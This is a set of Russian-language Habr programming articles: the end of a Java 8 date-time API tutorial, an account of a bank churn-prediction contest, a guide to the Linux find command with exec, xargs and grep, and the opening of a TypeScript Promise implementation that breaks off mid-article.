#### API для работы с датами
Java 8 содержит совершенно новый API для работы с датами и временем, расположенный в пакете `java.time`. Новый API сравним с библиотекой [Joda-Time](http://www.joda.org/joda-time/), однако [имеются отличия](http://blog.joda.org/2009/11/why-jsr-310-isn-joda-time_4941.html). Следующие разделы рассказывают о наиболее важных частях нового API.
##### Clock
Тип `Clock` предоставляет доступ к текущей дате и времени. Этот тип знает о часовых поясах и может использоваться вместо вызова `System.currentTimeMillis()` для возвращения миллисекунд. Такая точная дата также может быть представлена классом `Instant`. Объекты этого класса могут быть использованы для создания объектов устаревшего типа
`java.util.Date`.
```
Clock clock = Clock.systemDefaultZone();
long millis = clock.millis();
Instant instant = clock.instant();
Date legacyDate = Date.from(instant); // legacy java.util.Date
```
##### Часовые пояса
Часовые пояса представлены типом `ZoneId`. Доступ к ним можно получить при помощи статических фабричных методов. Часовые пояса содержат смещения, которые важны для конвертации дат и времени в местные.
```
System.out.println(ZoneId.getAvailableZoneIds());
// prints all available timezone ids
ZoneId zone1 = ZoneId.of("Europe/Berlin");
ZoneId zone2 = ZoneId.of("Brazil/East");
System.out.println(zone1.getRules());
System.out.println(zone2.getRules());
// ZoneRules[currentStandardOffset=+01:00]
// ZoneRules[currentStandardOffset=-03:00]
```
##### LocalTime
Тип `LocalTime` представляет собой время с учетом часового пояса, например, 10pm или 17:30:15. В следующем примере создаются два местных времени для часовых поясов, определенных выше. Затем оба времени сравниваются, и вычисляется разница между ними в часах и минутах.
```
LocalTime now1 = LocalTime.now(zone1);
LocalTime now2 = LocalTime.now(zone2);
System.out.println(now1.isBefore(now2)); // false
long hoursBetween = ChronoUnit.HOURS.between(now1, now2);
long minutesBetween = ChronoUnit.MINUTES.between(now1, now2);
System.out.println(hoursBetween); // -3
System.out.println(minutesBetween); // -239
```
Тип LocalTime содержит различные фабричные методы, которые упрощают создание новых экземпляров, а также парсинг строк.
```
LocalTime late = LocalTime.of(23, 59, 59);
System.out.println(late); // 23:59:59
DateTimeFormatter germanFormatter =
DateTimeFormatter
.ofLocalizedTime(FormatStyle.SHORT)
.withLocale(Locale.GERMAN);
LocalTime leetTime = LocalTime.parse("13:37", germanFormatter);
System.out.println(leetTime); // 13:37
```
##### LocalDate
Тип `LocalDate` представляет конкретную дату, например, 2014-03-11. Объекты `LocalDate` неизменяемы и являются аналогом `LocalTime`. Пример демонстрирует вычисление новой даты путем сложения или вычитания дней, месяцев или годов. Помните, что каждая операция возвращает новый экземпляр.
```
LocalDate today = LocalDate.now();
LocalDate tomorrow = today.plus(1, ChronoUnit.DAYS);
LocalDate yesterday = tomorrow.minusDays(2);
LocalDate independenceDay = LocalDate.of(2014, Month.JULY, 4);
DayOfWeek dayOfWeek = independenceDay.getDayOfWeek();
System.out.println(dayOfWeek); // FRIDAY
```
Создание экземпляра `LocalDate` путем парсинга строки:
```
DateTimeFormatter germanFormatter =
DateTimeFormatter
.ofLocalizedDate(FormatStyle.MEDIUM)
.withLocale(Locale.GERMAN);
LocalDate xmas = LocalDate.parse("24.12.2014", germanFormatter);
System.out.println(xmas); // 2014-12-24
```
##### LocalDateTime
Тип `LocalDateTime` представляет собой комбинацию даты и времени. Объекты `LocalDateTime` неизменяемы и работают аналогично `LocalTime` и `LocalDate`. Мы можем использовать различные методы для извлечения конкретных значений из даты-времени:
```
LocalDateTime sylvester = LocalDateTime.of(2014, Month.DECEMBER, 31, 23, 59, 59);
DayOfWeek dayOfWeek = sylvester.getDayOfWeek();
System.out.println(dayOfWeek); // WEDNESDAY
Month month = sylvester.getMonth();
System.out.println(month); // DECEMBER
long minuteOfDay = sylvester.getLong(ChronoField.MINUTE_OF_DAY);
System.out.println(minuteOfDay); // 1439
```
Путем добавления информации о часовом поясе мы можем получить `Instant`.
```
Instant instant = sylvester
.atZone(ZoneId.systemDefault())
.toInstant();
Date legacyDate = Date.from(instant);
System.out.println(legacyDate); // Wed Dec 31 23:59:59 CET 2014
```
Форматирование даты-времени работает так же, как и форматирование даты или времени. Мы можем использовать библиотечные или свои собственные шаблоны.
```
DateTimeFormatter formatter =
DateTimeFormatter
.ofPattern("MMM dd, yyyy - HH:mm");
LocalDateTime parsed = LocalDateTime.parse("Nov 03, 2014 - 07:13", formatter);
String string = formatter.format(parsed);
System.out.println(string); // Nov 03, 2014 - 07:13
```
В отличии от `java.text.NumberFormat`, новый `DateTimeFormatter` является неизменяемым и потокобезопасным.
Подробно о синтаксисе шаблонов можно почитать [здесь](http://download.java.net/jdk8/docs/api/java/time/format/DateTimeFormatter.html).
#### Аннотации
Аннотации в Java 8 являются повторяемыми. Давайте сразу посмотрим пример, чтобы понять, что это такое.
Сперва мы определим аннотацию-обертку, которая содержит массив аннотаций:
```
@interface Hints {
Hint[] value();
}
@Repeatable(Hints.class)
@interface Hint {
String value();
}
```
Java 8 позволяет нам использовать множество аннотаций одного типа путем указания аннотации `@Repeatable`.
Вариант 1: использовать аннотацию-контейнер (старый способ)
```
@Hints({@Hint("hint1"), @Hint("hint2")})
class Person {}
```
Вариант 2: использовать повторяемую аннотацию (новый способ)
```
@Hint("hint1")
@Hint("hint2")
class Person {}
```
При использовании варианта 2 компилятор автоматически подставляет аннотацию `@Hints`. Это важно при чтении информации об аннотациях через рефлексию.
```
Hint hint = Person.class.getAnnotation(Hint.class);
System.out.println(hint); // null
Hints hints1 = Person.class.getAnnotation(Hints.class);
System.out.println(hints1.value().length); // 2
Hint[] hints2 = Person.class.getAnnotationsByType(Hint.class);
System.out.println(hints2.length); // 2
```
Хотя мы никогда не объявляли аннотацию @Hints в классе `Person`, она доступна нам при вызове `getAnnotation(Hints.class)`. Однако более удобным является метод `getAnnotationsByType`, который напрямую предоставляет доступ ко всем аннотациям `@Hint`.
Более того, аннотации в Java 8 можно использовать еще на двух элементах:
```
@Target({ElementType.TYPE_PARAMETER, ElementType.TYPE_USE})
@interface MyAnnotation {}
```
#### Вот и все
На этом введение в программирование на Java 8 завершено. Вам остается самостоятельно изучить другие новинки JDK 1.8, например, `Arrays.parallelSort`, `StampedLock`, `CompletableFuture` и другие.
Полный исходный код статьи доступен на [GitHub](https://github.com/winterbe/java8-tutorial). | https://habr.com/ru/post/216431/ | null | ru | null |
# Как я участвовал в конкурсе Сбербанка про предсказание оттока клиентов
В рамках [ICBDA 2015](http://icbda2015.org/) [Сбербанк проводил конкурс про предсказание оттока своих клиентов](http://icbda2015.org/apply.html). Я неслабо заморочился по этому поводу, ничего не выиграл и тем не менее хотел бы описать процесс решения.
Сбербанк щедро отгрузил данных. Нам дали ~20 000 пользователей, про которых было известно попали они в отток в ноябре, декабре, январе или нет. И было ~30 000 пользователей, для которых нужно было угадать уйдут ли они в феврале. Кроме этого прилагался файлик на 35Гб примерно такого содержания:
```
Сорри, НДА
```
Физический смысл полей специально не раскрывался. Сказали «так интереснее». Было известно только, где искать id пользователей. Такой расклад показался мне крайне странным. Впрочем, Сбербанк тоже можно понять. Для начала этот адский массив данных я решил оставить в стороне и подробнее изучить пользователей из обучающего и тестового наборов.
Выяснилось невероятное: если пользователь не ушёл в ноябре и декабре, то и в январе он скорее всего не уйдёт. Если пользователь ушёл, то он скорее всего не вернётся:
Кроме этого оказалось, что 70% пользователей из тестовой выборки есть в обучающей. То есть напрашивается следующий гениальный классификатор: если пользователь ушёл в январе, то он будет в оттоке и в феврале, если не ушёл в январе, то и в оттоке его не будет. Чтобы прикинуть качество такого решения, берём всех пользователей из января и делаем для них предсказание по данным за декабрь. Получается не очень, но лучше чем ничего:
Да, понятно, что январь и февраль совершенно разные месяцы. Конец декабря, первая половина января вообще особенные для россиян. Но особого выбора нет, нужно же на чём-то проверять алгоритм.
Чтобы как-то улучшить решение, всё-таки придётся поразбираться в гигантском файле без описания. Первым делом я решил выкинуть все записи, в которых id не принадлежит ни одному пользователю из обучающей или тестовой выборки. О ужас, ни одной записи выкинуть не удалось. Одному пользователю там соответствует ни одна, а, в среднем, 300 записей. То есть, это какие-то логи, а не агрегированные данные. Кроме того, 50 из 60 колонок — это хеши. Логи с хешами вместо значений. В моём представлении это полный бред. Я люблю анализ данных за те моменты, когда удаётся открывать какие-то новые знания. В данном случае открытия могут выглядеть так: «если у пользователя в седьмом столбике часто встречается 8UCcQrvgqGa2hc4s2vzPs3dYJ30= значит, наверное, он скоро уйдёт». Не очень интересно. Тем не менее я решил проверить несколько гипотез, посмотреть, что получится.
Известно, что в каждой строчке лога есть два id, а не один. Поэтому я предположил, что мы работаем с какими-то транзакциями. Чтобы как-то это проверить, был построен граф, где в вершинах располагались id, а рёбра появлялись, если два id встречались в одной записи. Если в логе действительно транзакции, граф должен получится очень разреженным и должен хорошо группироваться в кластеры. Получилось не совсем то, что я ожидал, между кластерами на глаз было много связей:
Но, формально модулярность была очень высокой и кластера, часто формировались вокруг одной вершины, поэтому я решил, что всё-таки это транзакции. Тем более, что лучше идей не было.
Хорошо, если мы имеем дело с транзакциями, логичным дополнением к модели будет число входящих и исходящих транзакций. Действительно, среди тех, кто ушёл в январе, почти 40% имели менее десяти входящих транзакций.
Добавим это нехитрое условие в модель и получим уже неплохое качество:
Понятно, что просто количество транзакций — это не очень круто. Пользователь может сделать 500 транзакций в январе 2014 и легко уйти в январе 2015. Нужно смотреть на тренд. У утёкших, действительно, всё заканчивается на первом, втором месяце:
А у тех, кто остался историй посложнее:
Как-то просто добавить это условие в модель мне не удалось, поэтому пришлось обратиться к машинному обучению. Запилил RandomForest на 500 деревьев глубиной 10 на фичах типа: «месяцев до первой транзакции», «месяцев до последней транзакции», «число месяцев с транзакциями». Качество немного подросло:
Резерв простых понятных решений был исчерпан. Поэтому пришлось закопаться в гигантский файл без описания ещё глубже. Для всех колонок было посчитано сколько уникальных значений там встречается.
Почему число уникальных значений дробное? Потому что пришлось использовать [хитрый метод подсчёта уникальных значений с фиксированной памятью](https://github.com/svpcom/hyperloglog). Если всё просто запихивать в сеты, памяти не напасёшься.
Затем для колонок, в которых разумное число разных значений были посчитаны гистограммы:
Видно, что некоторые гистограммы похожи, например, 14 и 33, 22 и 41. Действительно, большинство полей идут парами (да, я вручную запилил граф корреляции признаков):
То есть часть колонок описывают id1, часть id2. Некоторые поля являются признаками транзакции. Чтобы наверняка убедиться какие колонки описывают пользователя, я посчитал как часто для одного id они принимают разные значения. Оказалось, что колонки с 5 по 15 почти никогда не принимают больше одного значения на id. Действительно, некоторые из них это название города, почтовый индекс. Они вошли в модель как категориальные. Остальные могут принимать разные значения для одного id (в основном null, конечно), поэтому они вошли в модель с весами.
Из-за всех этих категориальных фичей сложность модели очень сильно увеличилась, большинство новых признаков особого вклада не внесли. Но нашлась одна фича — 56-я. Она сильно повлияла. Качество значительно подросло:
Попробовал ещё одну прикольную фичу. Достал граф транзакций, который построил в самом начале и посмотрел, где там находятся пользователи, которые утекли и остались. С удивлением отметил, что есть кластер, где почти одни утекшие. Правда, классификатор и так на них не делал ошибок, поэтому прироста качества не получилось.
Поподбирал ещё параметры для RandomForest. Разметил тестовую выборку. Убедился, что все кто ушли в январе, ушли и в феврале. Проверил что в целом доля ушедших нормальная. И заслал в Сбербанк. Но что-то видимо пошло не так, потому что в топ-3 я себя не обнаружил. А топ большего размера нам не показали. | https://habr.com/ru/post/267217/ | null | ru | null |
# 15 супер полезных примеров команды find в Linux
Практические примеры, которые приведены в этой статье, помогут вам освоить очень эффективную и крайне полезную команду find.
Она используется для поиска файлов и папок через командную строку Linux.
Команда find — одна из самых мощных и широко применимых команд. При этом она крайне объёмная и насчитывает более 50 опций, в которых легко запутаться, особенно в сочетании с командами exec или xargs.
Если вы сисадмин или разработчик, избежать команды `find` при работе с командной строкой не получится. Так что давайте научимся её не бояться и пользоваться её возможностями в полной мере.
Для этого разберём самые распространённые случаи практического применения команды find. Но для начала покажу вам синтаксис и принцип работы с командой.
Команда find в Linux
--------------------
Общий синтаксис команды find выглядит так:
```
find [directory to search] [options] [expression]
```
Всё, что в квадратных скобках, указывать необязательно. А значит, выполнить команду find можно вообще без опций и параметров. Она выдаст список всех файлов и папок в текущем расположении. Мало полезного, да?
Так что давайте взглянем на параметры подробнее:
* `directory to search` (папка поиска) — это расположение, с которого вы хотите начать поиск. Поиск по умолчанию рекурсивный и начинается с текущего расположения.
* `options` (опции) содержит указание типа поиска: по имени, типу файла, времени изменения и так далее — тут может быть более 50 вариантов.
* `expression` (выражение) содержит поисковый запрос. Если вы ищете файл по имени, параметр expression должен содержать имя файла. Если ищете файлы с именем, соответствующим заданному шаблону, поисковое выражение — это шаблон.
Приведу простой пример:
```
find . -type f -name myfile
```
Такая команда выполнит поиск файла (именно файла, не папки) с именем `myfile` в текущей папке и подпапках. Опция `-type f` сужает поиск до файлов. Точка (`.`) указывает на текущую папку.
Рассмотрим несколько примеров применения команды find.
Поиск файлов и папок по имени
-----------------------------
Так выполняется поиск файлов и папок по имени:
```
find . -name SEARCH_NAME
```
Поскольку тип объекта не указан, команда выполняет поиск и файлов, и папок.
Пример ниже — поиск файлов и папок с именем «mystuff»:
```
abhishek@LHB:~/Examples$ find -name mystuff
./new/mystuff
./mystuff
```
Поиск только файлов или только папок
------------------------------------
Если нужно искать только файлы, на помощь придёт опция type -f:
```
find . -type f -name SEARCH_NAME
```
Тип и имя можно указывать в любом порядке. Возьмём пример выше и ограничим круг поиска файлами:
```
abhishek@LHB:~/Examples$ find -type f -name mystuff
./mystuff
```
Если нужно найти папку, укажите тип type -d:
```
find . -type d -name SEARCH_NAME
```
Вот пример нашего поиска уже по папкам:
```
abhishek@LHB:~/Examples$ find -type d -name mystuff
./new/mystuff
```
Поиск без учёта регистра
------------------------
Команда find по умолчанию учитывает регистр. Чтобы выполнить поиск по имени файла без учёта регистра, надо ввести опцию `-iname` вместо `-name`.
```
find . -type f -iname SEARCH_NAME
```
С поиском по папкам (`type -d`) это тоже работает.
```
abhishek@LHB:~/Examples$ find -iname mystuff
./new/mystuff
./MyStuff
./mystuff
```
Скриншот последних трёх примеров:
Поиск файлов по расширению (важно)
----------------------------------
Одно из самых популярных применений команды find — поиск файлов определённого типа, то есть по заданному расширению.
Скажем, вы хотите найти все файлы С++ в текущих папках. Файлы С++ имеют расширение .cpp, и вот как их можно найти:
```
find . -type f -name "*.cpp"
```
С такими опциями команда find найдёт только файлы (`-type f`) с именами, оканчивающимися на `.cpp`.
```
abhishek@LHB:~$ find . -type f -name "*.cpp"
./file.cpp
./.cargo/registry/src/github.com-1ecc6299db9ec823/libz-sys-1.1.3/src/zlib/contrib/iostream2/zstream_test.cpp
./.cargo/registry/src/github.com-1ecc6299db9ec823/libz-sys-1.1.3/src/zlib/contrib/iostream/test.cpp
./.cargo/registry/src/github.com-1ecc6299db9ec823/libz-sys-1.1.3/src/zlib/contrib/iostream/zfstream.cpp
```
При работе с командой find всегда заключайте поисковое выражение в двойные кавычки.
С чем связана рекомендация [заключать поисковый запрос в двойные или одинарные кавычки](https://linuxhandbook.com/quotes-in-bash/)? Дело в том, что без кавычек оболочка будет работать с символом \* как с джокером и выполнит подстановку.
Вот что будет, если ввести запрос без кавычек:
```
find . -type f -name *.cpp
```
Оболочка распознает подстановочный знак \* и заменит его всеми файлами в текущей папке, чьи имена заканчиваются на .cpp.
Это сработает, если такой файл всего один, но если их несколько, оболочка пожалуется на некорректный синтаксис.
В нашем случае файл .cpp всего один, и после подстановки команда выглядит так: `find . -type f -name file.cpp`. Она работает, поскольку `file.cpp` — корректный поисковый запрос.
А вот файлов .txt в той же папке два, и когда команда расширяется до `find . -type f -name another.txt new.txt`, выводится предупреждение, потому что поисковых запросов больше одного.
Именно поэтому сам поисковый запрос всегда следует заключать в двойные кавычки.
Поиск нескольких файлов с несколькими расширениями (или условием)
-----------------------------------------------------------------
Команда, рассмотренная выше, нужна для поиска файлов по расширению. А что если нужно найти файлы с несколькими разными расширениями?
Вместо того чтобы прогонять команду find несколько раз, введите её один раз с опцией -o, которая работает как логическое условие «или»:
```
find . -type f -name "*.cpp" -o -name "*.txt"
```
Например:
```
abhishek@LHB:~/Examples$ find . -type f -name "*.txt" -o -name "*.cpp"
./new.txt
./file.cpp
./new/new.txt
./new/dir2/another.txt
./new/dir1/new.txt
./another.txt
```
Поиск файлов в заданной папке
-----------------------------
Все приведённые примеры иллюстрируют поиск в текущей папке, потому что команда включает в себя точку (`.`).
Чтобы выполнить поиск в заданной папке, не покидая текущего расположения, можно заменить точку [абсолютным или относительным путём к нужной папке](https://linuxhandbook.com/absolute-vs-relative-path/).
```
abhishek@LHB:~/Examples$ find ./new -name mystuff
./new/mystuff
```
Поиск файлов в нескольких папках
--------------------------------
Если нужные вам файлы могут находиться в нескольких папках, можно выполнить поиск во всех этих расположениях за один раз. Просто укажите все пути к папкам при введении команды find:
```
find ./location1 /second/location -type f -name "pattern"
```
Поиск пустых файлов и папок
---------------------------
Опция `-empty` позволяет использовать команду find для поиска пустых файлов и папок.
Найти таковые в текущей папке можно следующим образом:
```
find . -empty
```
Можно указать тип объектов, чтобы искать только файлы или только папки:
```
find . -empty -type f
```
Кроме того, можно в таком режиме искать файлы по имени:
```
find . -empty -type f -name "*.cpp"
```
Поиск крупных и мелких файлов (поиск по размеру файла)
------------------------------------------------------
Команда find поможет найти крупные или мелкие файлы, если выполнить поиск по размеру. Но это работает только для файлов, не для папок.
Используется опция `-size` с аргументом +N для файлов размером более N и -N для файлов размером менее N.
А вот как можно найти файлы точного заданного размера (50 КБ):
```
find . -size 50k
```
Так выполняется поиск файлов размером более 1 ГБ в текущей папке:
```
find . -size +1G
```
А так — файлов, не превышающих 20 байт:
```
find . -size -20c
```
Для поиска файлов размером более 100 МБ, но менее 2ГБ, введите:
```
find . -size +100M -size -2G
```
Поиск по размеру тоже можно сочетать с поиском по имени файла. Таким образом, найти в корневом каталоге все файлы размером более 500 МБ с именем, оканчивающимся на .log, можно так:
```
find / -size +500M -name "*.log"
```
Для справки:
* `c` – байты
* `k` – килобайты
* `M` – мегабайты
* `G` – гигабайты
Поиск недавно изменённых файлов (поиск по времени изменения или создания)
-------------------------------------------------------------------------
Вы ведь знакомы с [параметрами mtime, atime и ctime](https://linuxhandbook.com/file-timestamps/)?
* Mtime – время последнего изменения файла
* Ctime – время создания файла
* Atime – время последнего доступа к файлу
Вы не раз столкнётесь с ситуацией, когда нужен список всех недавно изменённых файлов. В таких случаях на помощь приходит поиск по времени изменения.
Найти все файлы, претерпевшие изменения за последние трое суток (3\*24ч), можно так:
```
find . -type f -mtime -3
```
А все файлы, созданные пять и более дней назад, ищутся так:
```
find . -type f -ctime +5
```
Понимаю, что 24 часа — большой срок. Что если нужно выявить файлы, изменённые всего пару минут назад? Для этого предусмотрены опции `mmin`, `amin` и `cmin`.
Так выглядит команда поиска всех файлов, изменённых за последние пять минут:
```
find . -type f -mmin -5
```
Можно не только указать имя файла, но и ограничить временной промежуток с двух сторон. Команда ниже выполнит поиск всех файлов .java, изменённых не ранее 30 и не позднее 20 минут назад.
```
find . -type f -mmin +20 -mmin -30 -name "*.java"
```
Поиск файлов с определёнными настройками доступа
------------------------------------------------
Надеюсь, вы имеете представление о [разрешениях файлов в Linux](https://linuxhandbook.com/linux-file-permissions/).
Команда find позволяет выполнить поиск файлов по разрешению и режиму доступа.
```
find -perm mode
```
Поищем в текущей папке, к примеру, все файлы с режимом доступа 777:
```
find . -perm 777
```
А так можно найти все файлы с правами на чтение и запись для всех типов пользователей (только точное совпадение; файлы с правами на выполнение для всех не отобразятся):
```
find . -perm a=r+w
```
Поиск файлов по владельцу
-------------------------
Можно также найти файлы, принадлежащие определённому пользователю.
Вот как обнаружить в текущей папке все файлы пользователя Джона:
```
find . -type f -user John
```
Эта опция сочетается с другими, будь то размер или время и имя файла:
```
find . -type f -user John -name "*.cpp"
```
Отключение рекурсивного поиска для поиска только в текущей папке
----------------------------------------------------------------
По умолчанию команда find выполняет поиск во всех подпапках текущего расположения. Если это не требуется, можно ограничить глубину поиска значением «1». Так вы ограничитесь поиском в текущей папке, не залезая в подпапки.
```
find . -maxdepth 1 -type f -name "*.txt"
```
Исключение папки из поиска
--------------------------
Если нет необходимости производить поиск в той или иной папке, можно исключить её с помощью опций path, prune и логического «или».
```
find . -path "./directory_exclude/*" -prune -o -name SEARCH_NAME
```
Будьте внимательны: путь к папке должен оканчиваться на \*, затем идёт `-prune` и только потом `-o`.
Попросту говоря, при поиске с опцией prune папка, указанная с помощью path, игнорируется. Prune всегда сопровождается флагом `-o` (логическое «или»), чтобы папки, которые не были исключены, просматривались на наличие искомого объекта.
Дальнейшая работа с результатами команды find: exec и xargs
-----------------------------------------------------------
Итак, мы изучили различные способы поиска файлов по заданным параметрам. Это хорошо. А теперь следующий шаг: рассмотрим, какие действия можно выполнять с результатами команды find.
Например, как найти файлы с именем, соответствующим определённому шаблону, и переименовать их за одно действие? Или выявить и удалить пустые файлы?
Вам уже известно, что в Linux можно использовать [перенаправление ввода-вывода](https://linuxhandbook.com/pipe-redirection/), чтобы объединить результаты одной команды с вводом другой. Но с результатами команды find это не сработает — по крайней мере, не напрямую.
Чтобы выполнить действия над результатом команды find, есть два варианта:
* Применить exec
* Применить xargs
### Использование find и exec
Допустим, вам нужен подробный список (ls -l) файлов, найденных командой find. Вот как его получить:
```
find . -type f -name "*.txt" -exec ls -l {} +
```
Результат будет таким:
```
abhishek@LHB:~/Examples$ find . -type f -name "*.txt" -exec ls -l {} +
-rw-rw-r-- 1 abhishek abhishek 39 Oct 13 19:30 ./another.txt
-rw-rw-r-- 1 abhishek abhishek 35 Oct 13 15:36 ./new/dir1/new.txt
-rw-rw-r-- 1 abhishek abhishek 35 Oct 13 15:36 ./new/dir2/another.txt
-rw-rw-r-- 1 abhishek abhishek 35 Oct 13 18:51 ./new/mystuff/new.txt
-rwxrwxrwx 1 abhishek abhishek 35 Oct 13 15:37 ./new/new.txt
-rw-rw-r-- 1 abhishek abhishek 35 Oct 13 18:16 ./new.txt
```
Многие забывают ввести `{} +` в конце команды exec. Но это необходимо — как и пробел между скобками {} и плюсом +.
Фигурные скобки ссылаются на результат выполнения команды find. Их содержимое может иметь следующий вид: {файл 1, файл 2, файл 3}. Символ `+` используется как конец команды exec.
Есть ещё один вариант оформления exec:
```
find . -type f -name "*.txt" -exec ls -l {} \;
```
В данном случае плюс заменён на точку с запятой. Дополнительная косая черта означает, что точка с запятой не является специальным символом.
Преимущество сочетания `{} +` заключается в меньшем количестве команд ( `ls -l file1 file2 file3`), тогда как комбинация `{} \;` запустит цепочку `ls -l file1`, `ls -l file2` и так далее.
Однако сочетание `{} \;` даёт возможность использовать `{}` несколько раз в одном и том же выражении exec. Так, приведённая ниже команда переименует все обнаруженные файлы с расширением .old.
```
find . -type f -name "*.txt" -exec mv {} {}.old \;
```
### Использование команды xargs
Многие пользователи Linux сталкиваются с необходимостью перенаправления ввода-вывода довольно часто. Но команда exec с цепочкой символов `{} +` кажется им слишком сложной.
И тут на помощь приходит xargs. Нужно просто перенаправить вывод команды find в [команду xargs](https://linuxhandbook.com/xargs-command/) через конвейер.
```
find . -type f -name "*.txt" | xargs ls -l
```
Синтаксис куда проще, верно? К тому же команда xargs тоже весьма эффективна. Подробнее о ней — в статье по [ссылке](https://linuxhandbook.com/xargs-command).
Сочетание команд find и grep
----------------------------
Теперь вы умеете совмещать команду find с xargs и exec, и пора перейти на следующий уровень — объединить find и grep.
Для сисадминов и разработчиков комбинация команд find и grep — одна из самых распространённых и вместе с тем самых полезных.
Команда find находит файлы с именем, соответствующим шаблону, а затем команда grep выполняет поиск по их содержимому.
Например, вам нужно найти все файлы .txt, в которых есть имя «Alice». Объединить команды find и grep можно так:
```
find . -type f -name "*.txt" -exec grep -i alice {} +
```
А можно с помощью xargs:
```
find . -type f -name "*.txt" | xargs grep -i alice
```
Конечно, пример элементарный, но если [команда grep](https://linuxhandbook.com/grep-command-examples/) вам знакома, можете использовать её на своё усмотрение.
И это далеко не все возможности команды find...
-----------------------------------------------
Перечислить все опции и примеры использования команды find практически невозможно. Её возможностям нет границ, но если вы освоите её принципы, она окажется очень кстати во многих ситуациях. Решающий фактор — как сочетается логика действия разных опций и команд.
Надеюсь, моя подборка примеров использования find была для вас полезна. Если у вас есть вопросы или предложения, как сделать эту статью лучше, добро пожаловать в комментарии.
---
НЛО прилетело и оставило здесь промокоды для читателей нашего блога:
— [15% на все тарифы VDS](https://firstvds.ru/?utm_source=habr&utm_medium=article&utm_campaign=product&utm_content=vds15exeptprogrev) (кроме тарифа Прогрев) — **HABRFIRSTVDS**.
— [20% на выделенные серверы AMD Ryzen и Intel Core](https://1dedic.ru/?utm_source=habr&utm_medium=article&utm_campaign=product&utm_content=coreryzen20#server_configurator) — **HABRFIRSTDEDIC**.
Доступно до 31 декабря 2021 г. | https://habr.com/ru/post/593669/ | null | ru | null |
# Велосипедим Promise на TypeScript
Идея написать собственную реализацию Promise возникла в процессе подготовки к интервью, поскольку необходимость не просто разобраться в инструменте, а воссоздать его более менее точное подобие, требует куда более глубокого погружения в тему. Исходный код с тестами доступен по [ссылке](https://github.com/yangirekun/promise-implementation), данная статья - возможность для автора еще лучше консолидировать полученный в процессе опыт и, возможно, открыть что - то новое для читателя, который регулярно использует промисы на практике.
Глоссарий
---------
* Экземпляр, инстанс, промис, обещание - созданный `new PromiseImplementation(...)` объект.
* Consumer, подписчик - любой публичный метод экземпляра, `.then | .catch | .finally`.
* Satisfyer - приватный метод `resolve` или `reject` экземпляра, вызов которого эквивалентен выполнению обещания.
* Выполнение обещания - изменение `state` экземпляра с ожидания на "выполнено" или "отклонено", запись аргумента satisfyer в `result` экземпляра.
Types
-----
Из того, что хорошо известно всем, кто хоть раз использовал `new Promise(...)` на практике - обещание имеет всего 3 публичных метода: `.then`, `.catch` и `.finally` и, по меньшей мере, 2 приватных свойства, `state` и `result`.
Последние можно сразу определить в классе: изначальный `state` экземпляра, это всегда ожидание, "pending", которое, в зависимости от течения жизненного цикла объекта, может 1 раз измениться на 'fulfilled' или 'rejected', результат же может быть любым.
```
export type PromiseState = 'pending' | 'fulfilled' | 'rejected';
export type PromiseResult = any;
```
```
import { PromiseState, PromiseResult } from './types';
export default class PromiseImplementation {
private state: PromiseState = 'pending';
private result: PromiseResult;
}
```
Constructor
-----------
Конструктор принимает на вход функцию PromiseExecutor и **сразу** вызывает её. В качестве аргументов передаются забинденные satisfyer-ы.
```
export type ExecutorCallback = (argument?: any) => void;
export type PromiseExecutor = (resolve: ExecutorCallback, reject: ExecutorCallback) => any;
```
Такая организация позволит конечному пользователю класса определить код, который немедленно начнет выполняться и иметь в этом коде доступ к управлению состоянием созданного обещания.
```
export default class PromiseImplementation {
private state: PromiseState = 'pending';
private result: PromiseResult;
constructor(executor?: PromiseExecutor) {
if (typeof executor !== 'function') {
throw new Error('Invalid executor is provided.');
}
try {
executor(this.resolve.bind(this), this.reject.bind(this));
} catch (err) {
this.reject(err);
}
}
}
```
Конструкция обернута в try..catch для того, чтобы даже в случае ошибки в executor, был создан полноценный экземпляр. Это позволит конечному пользователю самому обработать исключение в .catch, а не приведет к краху всей цепочки подписчиков.
Исключение только одно, отсутствие executor в принципе, в этом случае экземпляр не создается.
Satisfyers
----------
Реализация этих методов подразумевает следующее:
* Вызов метода влечёт изменение state & result экземпляра, то есть выполнение обещания. Такая возможность должна предоставляться только **один** раз.
* Если за обещанием следуют consumer - ы, *их аргументы* должны быть вызваны **после** выполнения обещания.
В примере `(1)`
```
const promise = new PromiseImplementation((resolve) => {
setTimeout(() => resolve(1), 1000);
});
promise.then((x) => {
console.log(x);
});
promise.then(
(x) => {
console.log(x * 2);
},
(err) => {
console.log(err);
}
);
promise.then();
```
вызов `resolve` через 1 секунду должен изменить `promise['state']` на 'fulfilled', `promise['result']` на 1 и привести к вызову коллбеков
`(x) => { console.log(x); }` и `(x) => { console.log(x * 2); }`
c `promise['result']` в качестве `x`.
Сами подписчики `.then` на строчках `5, 9, 18`, естественно, не дожидаются отложенного выполнения `resolve`, это обычные методы, каждый из которых будет последовательно вызван сразу после создания экземпляра.
На этом этапе намечаются первые наброски по будущей реализации `.then`и его связке с `resolve` & `reject`:
* В консъюмере необходимо осуществлять проверку состояния экземпляра, если обещание не выполнено, пользовательские обработчики не запускаются, а сохраняются до востребования.
* В `resolve` & `reject`после модификации состояния экземпляра, необходимо запустить консъюмеры в том же порядке, в котором их расположил пользователь, пробросив в них сохраненные коллбеки.
Определим поле для хранения:
```
export type ConsumerCallback = (argument?: any) => any;
```
```
export default class PromiseImplementation {
private state: PromiseState = 'pending';
private result: PromiseResult;
constructor(executor?: PromiseExecutor) {/* ... */}
private consumersArgs: ConsumerCallback[][] = [];
}
```
Для примера `(1)`, `promise['consumersArgs']` после строчки `18` должно будет выглядеть так:
```
[
[handleSuccess, undefined],
[handleSuccess, handleError],
[undefined, undefined]
]
```
Коллбеки будут сохраняться в том же порядке, в котором происходит выполнение подписчиков, и так же последовательно вызываться после выполнения обещания, через цикл:
```
export default class PromiseImplementation {
private state: PromiseState = 'pending';
private result: PromiseResult;
constructor(executor?: PromiseExecutor) {/* ... */}
private consumersArgs: ConsumerCallback[][] = [];
private resolve(value?: any) {
if (this.state === 'pending') {
this.state = 'fulfilled';
this.result = value;
if (this.consumersArgs.length) {
for (let consumerArgs of this.consumersArgs) {
this.then(...consumerArgs);
}
}
}
}
}
```
Код выше полностью бы отвечал требованиям, если бы не 1 нечастый кейс, когда `resolve` вызывается с экземпляром обещания в качестве аргумента.
```
const original = new PromiseImplementation(resolve => setTimeout(() => resolve('originalResult'), 1000));
const cast = new PromiseImplementation((resolve, reject) => resolve(original));
cast.then((x) => {
console.log(x); // 'originalResult'
});
```
